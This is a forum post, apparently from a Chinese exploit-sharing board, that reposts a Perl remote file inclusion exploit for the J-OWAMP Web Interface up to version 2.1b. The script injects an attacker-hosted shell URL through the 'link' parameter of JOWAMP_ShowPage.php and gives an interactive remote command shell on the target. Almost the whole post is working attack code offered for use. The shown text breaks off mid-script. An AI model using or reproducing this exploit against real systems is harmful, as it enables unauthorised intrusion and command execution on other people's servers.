发新话题
打印

J-OWAMP Web Interface <= 2.1b (link) Remote File Include Exploit

J-OWAMP Web Interface <= 2.1b (link) Remote File Include Exploit

[code]
#!/usr/bin/perl
#  Jowamp  WebInterface v 2.1 Remote File Inclusion Vulnerablity
# Vulnerability found & Exploit [c]oded By Dr Max Virus
# Download:http://www.av.it.pt/jowamp/index ... ace_version_2_1.zip
# User Must Be Logged In!
# In a web browser open the page http://localhost/jowamp/login/register.php to register new users.


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
     usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
     $cmd=$_;
     chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req =
HTTP::Request->new(GET=>$target.&#39;/JOWAMP_files/JOWAMP_ShowPage.php?link=&#39;.$shellsite=&#39;.?&&#39;.$cmdv.&#39;=&#39;.$cmd)or
die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
# The response of the server to the GET request we sent is stored in the
$info variable
$info = $res->content;
$info =~ tr/[\n]/[

TOP

发新话题